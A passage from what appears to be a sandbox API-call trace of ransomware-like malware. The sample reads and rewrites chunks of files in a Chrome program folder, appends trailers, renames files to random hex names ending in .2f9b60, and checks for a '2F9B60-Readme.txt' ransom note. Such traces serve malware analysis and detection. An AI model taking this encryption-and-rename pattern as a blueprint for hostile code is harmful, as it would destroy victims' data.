lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0212.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb960 [0212.073] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0212.074] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f60) returned 1 [0212.074] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d00d80 [0212.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0212.075] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263fe0 [0212.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263fe0) returned 1 [0212.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0212.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0212.077] WriteFile (in: hFile=0x690, lpBuffer=0x41d00d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30dcf940, lpOverlapped=0x0 | out: lpBuffer=0x41d00d80*, lpNumberOfBytesWritten=0x30dcf940*=0x3c00, lpOverlapped=0x0) returned 1 [0216.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d00d80) returned 1 [0216.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43105c90 [0216.841] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.841] WriteFile (in: hFile=0x690, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x30dcf9f0, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x30dcf9f0*=0x152, lpOverlapped=0x0) returned 1 [0220.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0220.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8684c0 [0220.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ef0 [0220.084] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9ef0) returned 1 [0220.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ef0 [0220.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ec0 [0220.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e60 [0220.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e60) returned 1 [0220.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8684c0) returned 1 [0220.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0220.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1b82c120 [0220.087] sprintf (in: _Dest=0x1b82c120, _Format="%c%c" | out: _Dest="e5") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c122, _Format="%c%c" | out: _Dest="7d") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c124, _Format="%c%c" | out: _Dest="51") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c126, _Format="%c%c" | out: _Dest="9d") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c128, _Format="%c%c" | out: _Dest="ae") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c12a, _Format="%c%c" | out: _Dest="02") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c12c, _Format="%c%c" | out: _Dest="e6") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c12e, _Format="%c%c" | out: _Dest="9b") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c130, _Format="%c%c" | out: _Dest="c4") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c132, _Format="%c%c" | out: _Dest="b7") returned 2 [0220.087] sprintf (in: _Dest=0x1b82c134, _Format="%c%c" | out: _Dest="53") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c136, _Format="%c%c" | out: _Dest="87") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c138, _Format="%c%c" | out: _Dest="50") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c13a, _Format="%c%c" | out: _Dest="d3") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c13c, _Format="%c%c" | out: _Dest="20") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c13e, _Format="%c%c" | out: _Dest="25") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c140, _Format="%c%c" | out: _Dest="8d") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c142, _Format="%c%c" | out: _Dest="ce") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c144, _Format="%c%c" | out: _Dest="e5") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c146, _Format="%c%c" | out: _Dest="77") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c148, _Format="%c%c" | out: _Dest="f8") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c14a, _Format="%c%c" | out: _Dest="2e") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c14c, _Format="%c%c" | out: _Dest="36") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c14e, _Format="%c%c" | out: _Dest="35") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c150, _Format="%c%c" | out: _Dest="c4") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c152, _Format="%c%c" | out: _Dest="60") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c154, _Format="%c%c" | out: _Dest="48") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c156, _Format="%c%c" | out: _Dest="f4") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c158, _Format="%c%c" | out: _Dest="d1") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c15a, _Format="%c%c" | out: _Dest="6b") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c15c, _Format="%c%c" | out: _Dest="4f") returned 2 [0220.088] sprintf (in: _Dest=0x1b82c15e, _Format="%c%c" | out: _Dest="d4") returned 2 [0220.088] RtlInitAnsiString (in: DestinationString=0x30dcfa68, SourceString="e57d519dae02e69bc4b7538750d320258dcee577f82e3635c46048f4d16b4fd4" | out: DestinationString="e57d519dae02e69bc4b7538750d320258dcee577f82e3635c46048f4d16b4fd4") [0220.088] RtlAnsiStringToUnicodeString (in: DestinationString=0x30dcfa38, SourceString="e57d519dae02e69bc4b7538750d320258dcee577f82e3635c46048f4d16b4fd4", AllocateDestinationString=1 | out: DestinationString="e57d519dae02e69bc4b7538750d320258dcee577f82e3635c46048f4d16b4fd4") returned 0x0 [0220.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x42c22a20 [0220.089] wcscat (in: _Dest=0x42c37950, _Source="e57d519dae02e69b" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\e57d519dae02e69b") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\e57d519dae02e69b" [0220.089] wcscat (in: _Dest=0x42c37950, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\e57d519dae02e69b.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\e57d519dae02e69b.2f9b60" [0220.089] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\e57d519dae02e69b.2f9b60", NtPathName=0x30dcfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\e57d519dae02e69b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0220.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x1ced0740 [0226.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0740) returned 1 [0226.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430744f0) returned 1 [0226.912] NtQueryInformationFile (in: FileHandle=0x690, IoStatusBlock=0x30dcfa78, FileInformation=0x30dcfa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30dcfa78, FileInformation=0x30dcfa88) returned 0x0 [0226.912] NtSetInformationFile (FileHandle=0x690, IoStatusBlock=0x30dcfa78, FileInformation=0x30dcfa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0234.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37950) returned 1 [0234.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c22a20) returned 1 [0234.168] FlushFileBuffers (hFile=0x690) returned 1 [0234.995] CloseHandle (hObject=0x690) returned 1 [0236.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1ce16d40 [0236.494] wcscpy (in: _Dest=0x1ce16d40, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0236.494] wcscat (in: _Dest=0x1ce16d40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0236.494] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0237.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16d40) returned 1 [0237.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad340) returned 1 Thread: id = 2510 os_tid = 0x1fac [0154.668] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak")) returned 0x20 [0154.669] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak", dwFileAttributes=0x20) returned 1 [0154.670] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\resources.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\resources.pak"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x694 [0154.670] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x30bbf780 | out: lpFileSize=0x30bbf780*=18376476) returned 1 [0154.670] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x1186718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.670] ReadFile (in: hFile=0x694, lpBuffer=0x30bbf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30bbf748, lpOverlapped=0x0 | out: lpBuffer=0x30bbf700*, lpNumberOfBytesRead=0x30bbf748*=0x4, lpOverlapped=0x0) returned 1 [0154.755] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9f20 [0154.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9fb0 [0154.756] NtQuerySystemTime (in: CurrentTime=0x30bbf640 | out: CurrentTime=0x30bbf640*=132462177598918000) returned 0x0 [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x2ed1471f [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x7a6b0138 [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x1480cb92 [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x19526169 [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x2a4bde82 [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x6212b341 [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x3bf48bbb [0154.756] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x3de0b890 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x2b65d269 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x4a9e5e72 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x20398672 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x643049c2 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x72d7345b [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x671808ae [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x67902e6f [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x38dc14f1 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x2f67f4d9 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x7197e956 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x1546172c [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x22c8db7f [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x40dd5bb5 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x7f95b12e [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x58702de3 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x155b3d41 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x4f7ce828 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x3343f4a4 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x4adfb151 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x4fafd35f [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x6f9aaef4 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x3fc571e6 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x444355f3 [0154.757] RtlRandomEx (in: Seed=0x30bbf630 | out: Seed=0x30bbf630) returned 0x6f6d9011 [0154.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9fe0 [0154.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda010 [0154.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9fb0) returned 1 [0154.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9e30) returned 1 [0154.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42852670 [0154.769] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.769] ReadFile (in: hFile=0x694, lpBuffer=0x42852670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30bbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x42852670*, lpNumberOfBytesRead=0x30bbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0154.804] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.804] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda160 [0154.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda160) returned 1 [0154.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428652c0 [0154.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda160 [0154.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda190 [0154.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda190) returned 1 [0154.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0154.806] WriteFile (hFile=0x694, lpBuffer=0x428652c0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30bbf6a0, lpOverlapped=0x0) [0194.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428652c0) returned 1 [0194.389] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x8c6400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.389] ReadFile (in: hFile=0x694, lpBuffer=0x42852670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30bbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x42852670*, lpNumberOfBytesRead=0x30bbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.680] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x8c6400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0194.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0194.682] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263bf0) returned 1 [0194.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e2a520 [0194.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263bf0 [0194.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260740 [0194.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260740) returned 1 [0194.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0194.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.684] WriteFile (in: hFile=0x694, lpBuffer=0x41e2a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30bbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x41e2a520*, lpNumberOfBytesWritten=0x30bbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0211.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e2a520) returned 1 [0211.129] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x1182b1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.129] ReadFile (in: hFile=0x694, lpBuffer=0x42852670, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30bbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x42852670*, lpNumberOfBytesRead=0x30bbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0212.082] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x1182b1c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0212.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058d80 [0212.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb960 [0212.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0212.083] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0212.083] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cf5950 [0212.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0212.084] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260a10 [0212.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260a10) returned 1 [0212.085] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb960) returned 1 [0212.086] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058d80) returned 1 [0212.086] WriteFile (in: hFile=0x694, lpBuffer=0x41cf5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30bbf6a0, lpOverlapped=0x0 | out: lpBuffer=0x41cf5950*, lpNumberOfBytesWritten=0x30bbf6a0*=0x3c00, lpOverlapped=0x0) returned 1 [0219.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41cf5950) returned 1 [0219.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431059f0 [0219.365] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0219.365] WriteFile (in: hFile=0x694, lpBuffer=0x430bd900*, nNumberOfBytesToWrite=0x14c, lpNumberOfBytesWritten=0x30bbf750, lpOverlapped=0x0 | out: lpBuffer=0x430bd900*, lpNumberOfBytesWritten=0x30bbf750*=0x14c, lpOverlapped=0x0) returned 1 [0222.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62730 [0222.540] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e710 [0222.541] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501040 [0222.542] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501040) returned 1 [0222.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20501040 [0222.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff720 [0222.542] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffc90 [0222.543] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffc90) returned 1 [0222.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e710) returned 1 [0222.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62730) returned 1 [0222.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x431acc20 [0222.544] sprintf (in: _Dest=0x431acc20, _Format="%c%c" | out: _Dest="00") returned 2 [0222.544] sprintf (in: _Dest=0x431acc22, _Format="%c%c" | out: _Dest="b8") returned 2 [0222.544] sprintf (in: _Dest=0x431acc24, _Format="%c%c" | out: _Dest="a2") returned 2 [0222.544] sprintf (in: _Dest=0x431acc26, _Format="%c%c" | out: _Dest="45") returned 2 [0222.544] sprintf (in: _Dest=0x431acc28, _Format="%c%c" | out: _Dest="72") returned 2 [0222.544] sprintf (in: _Dest=0x431acc2a, _Format="%c%c" | out: _Dest="12") returned 2 [0222.544] sprintf (in: _Dest=0x431acc2c, _Format="%c%c" | out: _Dest="2a") returned 2 [0222.544] sprintf (in: _Dest=0x431acc2e, _Format="%c%c" | out: _Dest="ff") returned 2 [0222.544] sprintf (in: _Dest=0x431acc30, _Format="%c%c" | out: _Dest="17") returned 2 [0222.544] sprintf (in: _Dest=0x431acc32, _Format="%c%c" | out: _Dest="76") returned 2 [0222.544] sprintf (in: _Dest=0x431acc34, _Format="%c%c" | out: _Dest="e8") returned 2 [0222.544] sprintf (in: _Dest=0x431acc36, _Format="%c%c" | out: _Dest="0c") returned 2 [0222.545] sprintf (in: _Dest=0x431acc38, _Format="%c%c" | out: _Dest="7c") returned 2 [0222.545] sprintf (in: _Dest=0x431acc3a, _Format="%c%c" | out: _Dest="12") returned 2 [0222.545] sprintf (in: _Dest=0x431acc3c, _Format="%c%c" | out: _Dest="50") returned 2 [0222.545] sprintf (in: _Dest=0x431acc3e, _Format="%c%c" | out: _Dest="cc") returned 2 [0222.545] sprintf (in: _Dest=0x431acc40, _Format="%c%c" | out: _Dest="41") returned 2 [0222.545] sprintf (in: _Dest=0x431acc42, _Format="%c%c" | out: _Dest="d9") returned 2 [0222.545] sprintf (in: _Dest=0x431acc44, _Format="%c%c" | out: _Dest="8e") returned 2 [0222.545] sprintf (in: _Dest=0x431acc46, _Format="%c%c" | out: _Dest="30") returned 2 [0222.545] sprintf (in: _Dest=0x431acc48, _Format="%c%c" | out: _Dest="27") returned 2 [0222.545] sprintf (in: _Dest=0x431acc4a, _Format="%c%c" | out: _Dest="be") returned 2 [0222.545] sprintf (in: _Dest=0x431acc4c, _Format="%c%c" | out: _Dest="0c") returned 2 [0222.545] sprintf (in: _Dest=0x431acc4e, _Format="%c%c" | out: _Dest="4c") returned 2 [0222.545] sprintf (in: _Dest=0x431acc50, _Format="%c%c" | out: _Dest="13") returned 2 [0222.545] sprintf (in: _Dest=0x431acc52, _Format="%c%c" | out: _Dest="5b") returned 2 [0222.545] RtlInitAnsiString (in: DestinationString=0x30bbf7c8, SourceString="00b8a24572122aff1776e80c7c1250cc41d98e3027be0c4c135b" | out: DestinationString="00b8a24572122aff1776e80c7c1250cc41d98e3027be0c4c135b") [0222.545] RtlAnsiStringToUnicodeString (in: DestinationString=0x30bbf798, SourceString="00b8a24572122aff1776e80c7c1250cc41d98e3027be0c4c135b", AllocateDestinationString=1 | out: DestinationString="00b8a24572122aff1776e80c7c1250cc41d98e3027be0c4c135b") returned 0x0 [0222.545] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85eb90 [0222.546] wcscat (in: _Dest=0x2050d370, _Source="00b8a24572122" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\00b8a24572122") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\00b8a24572122" [0222.546] wcscat (in: _Dest=0x2050d370, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\00b8a24572122.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\00b8a24572122.2f9b60" [0222.546] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\00b8a24572122.2f9b60", NtPathName=0x30bbf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\00b8a24572122.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.546] RtlAllocateHeap 